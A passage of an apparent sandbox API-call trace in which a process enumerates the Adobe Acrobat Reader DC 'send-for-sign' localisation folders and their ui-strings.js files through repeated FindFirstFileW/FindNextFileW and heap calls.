lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.736] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.736] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.736] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.736] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.736] GetProcessHeap () returned 0xc10000 [0262.736] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.736] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0262.736] GetProcessHeap () returned 0xc10000 [0262.736] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.737] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.737] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.737] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.737] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.738] GetProcessHeap () returned 0xc10000 [0262.738] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.738] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0262.738] GetProcessHeap () returned 0xc10000 [0262.738] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.740] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.740] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.740] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.740] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.740] GetProcessHeap () returned 0xc10000 [0262.740] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.740] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0262.740] GetProcessHeap () returned 0xc10000 [0262.740] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.742] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.742] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.743] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.743] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.743] GetProcessHeap () returned 0xc10000 [0262.743] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0262.743] GetProcessHeap () returned 0xc10000 [0262.743] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.743] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.743] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.744] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.744] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.744] GetProcessHeap () returned 0xc10000 [0262.744] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.744] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0262.744] GetProcessHeap () returned 0xc10000 [0262.744] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.903] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.903] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.903] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.903] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.904] GetProcessHeap () returned 0xc10000 [0262.904] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.904] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0262.904] GetProcessHeap () returned 0xc10000 [0262.904] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.905] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.906] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.906] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.906] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.906] GetProcessHeap () returned 0xc10000 [0262.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.906] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0262.906] GetProcessHeap () returned 0xc10000 [0262.906] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.908] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.908] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1926, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.908] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1926, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.908] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.909] GetProcessHeap () returned 0xc10000 [0262.909] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.909] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, 